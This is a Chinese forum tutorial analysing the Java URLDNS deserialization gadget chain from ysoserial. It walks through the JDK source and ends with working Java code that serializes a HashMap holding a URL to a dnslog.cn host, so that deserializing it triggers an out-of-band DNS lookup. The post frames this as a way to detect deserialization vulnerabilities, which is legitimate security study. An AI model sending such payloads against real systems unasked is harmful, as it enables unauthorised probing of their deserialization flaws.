找回密码
 立即注册
首页 业界区 业界 Java安全01——URLDNS链分析与利用

Java安全01——URLDNS链分析与利用

忌才砟 2025-6-3 00:01:25
URLDNS链分析与利用

作用


  • URLDNS 利用链只能发起 DNS 请求,不能执行命令,所以用于漏洞的检测
  • 不限制JDK版本,使用Java内置类,无第三方依赖要求
  • 可以进行无回显探测
利用链

1.png
​                利用链可以查看开源项目:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
  1. *   Gadget Chain:
  2. *     HashMap.readObject()
  3. *       HashMap.putVal()
  4. *         HashMap.hash()
  5. *           URL.hashCode()
复制代码
利用链分析

1、确定最终的目标

​                根据上面的利用链发现最后执行的函数为URL.hashCode()
2.png
​                可以判断,如果直接return是不行的,所以需要执行到handler.hashCode(),并进一步执行getHostAddress()函数
3.png
​                确定是InetAddress.getByName(host) 执行的DNS解析,并触发DNS回显
4.png
2、从头开始梳理,判断请求执行的条件

​                基于对上面代码的分析,只要在反序列化的过程中执行到URL.hashCode()就可以出发DNS请求了
​                那么就从HashMap.readobject()开始分析
  1. HashMap.readobject()代码:
  2.     private void readObject(ObjectInputStream s)
  3.         throws IOException, ClassNotFoundException {
  4. ..............................................................................省略前面无关的代码
  5.         int mappings = s.readInt(); // Read number of mappings (size)
  6.         if (mappings < 0) {
  7.             throw new InvalidObjectException("Illegal mappings count: " + mappings);
  8.         } else if (mappings == 0) {
  9.             // use defaults
  10.         } else if (mappings > 0) {
  11. .............................................................................省略无关的代码
  12.             // Read the keys and values, and put the mappings in the HashMap
  13.             for (int i = 0; i < mappings; i++) {
  14.                 @SuppressWarnings("unchecked")
  15.                     K key = (K) s.readObject();
  16.                 @SuppressWarnings("unchecked")
  17.                     V value = (V) s.readObject();
  18.                 putVal(hash(key), key, value, false, false);
  19.             }
  20.         }
  21.     }
复制代码
​        所以执行到putVal()的条件是
  1. int mappings获取键值对数量 =》 mappings>0
复制代码
​        继续查看HashMap.hash()详细内容
  1. HashMap.hash()代码
  2.     static final int hash(Object key) {
  3.         int h;
  4.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  5.     }
复制代码
执行逻辑
  1. int mappings获取键值对数量 =》 mappings>0 =》 putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()
复制代码
​        这里需要注意的是,如果想要利用这个链,那么传入的数据应当是URL类型,所以应该去URL类的源码中查看其hashCode()
  1. URL.hashCode()代码
  2.     public synchronized int hashCode() {
  3.         if (hashCode != -1)
  4.             return hashCode;
  5.         hashCode = handler.hashCode(this);
  6.         return hashCode;
  7.     }
复制代码
​                到此处就回到一开始分析的部分了,也就是只要执行URL.hashCode(key)就行了,其中Key为URL类对象
利用测试
  1. import java.io.*;
  2. import java.lang.reflect.Constructor;
  3. import java.lang.reflect.Field;
  4. import java.lang.reflect.InvocationTargetException;
  5. import java.net.MalformedURLException;
  6. import java.net.URL;
  7. import java.util.HashMap;
  8. public class Main {
  9.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
  10.         HashMap<URL,Integer> hashMap = new HashMap<>(); //创建一个HashMap对象
  11.         URL url = new URL("http://hgbaug.dnslog.cn"); //创建一个URL对象,用于DNSLog回显测试
  12.         Field hashCode = url.getClass().getDeclaredField("hashCode"); //通过反射机制获取url对象中的hashCode属性值
  13.         hashCode.setAccessible(true);//hashCode由private int hashCode = -1定义,所以需要使用setAccessible
  14.         hashCode.set(url,999);//这三行看下面的解释
  15.         hashMap.put(url,999);
  16.         hashCode.set(url,-1);
  17.         //执行序列化操作
  18.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
  19.         objectOutputStream.writeObject(hashMap);
  20.         //执行反序列化操作,并加载HashMap自定义的 readObject(),自此进入利用链
  21.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
  22.         objectInputStream.readObject();
  23.     }
  24.     }
复制代码
关于上述代码15行-17行的问题

​        为什么要先设为非-1,然后再设置为-1呢?
​                查看HashMap.put()的代码可以发现,这里也调用了putVal()
​                如果此时hashcode的值为-1,那么就会直接进入流程利用链的后三个流程,如下:
  1. putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()
复制代码
​                那么就会导致一个问题,代码没进入到反序列化就直接发起dns请求了,这会导致无法判断目标是否存在反序列化漏洞
​                所以再put之前,需要让hashcode的值不为-1。等到put操作完成即将进入序列化和反序列化时再将其设为-1。进而达到判断目标是否有反序列化漏洞的目的
  1. HashMap.put()代码
  2.     public V put(K key, V value) {
  3.         return putVal(hash(key), key, value, false, true);
  4.     }
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册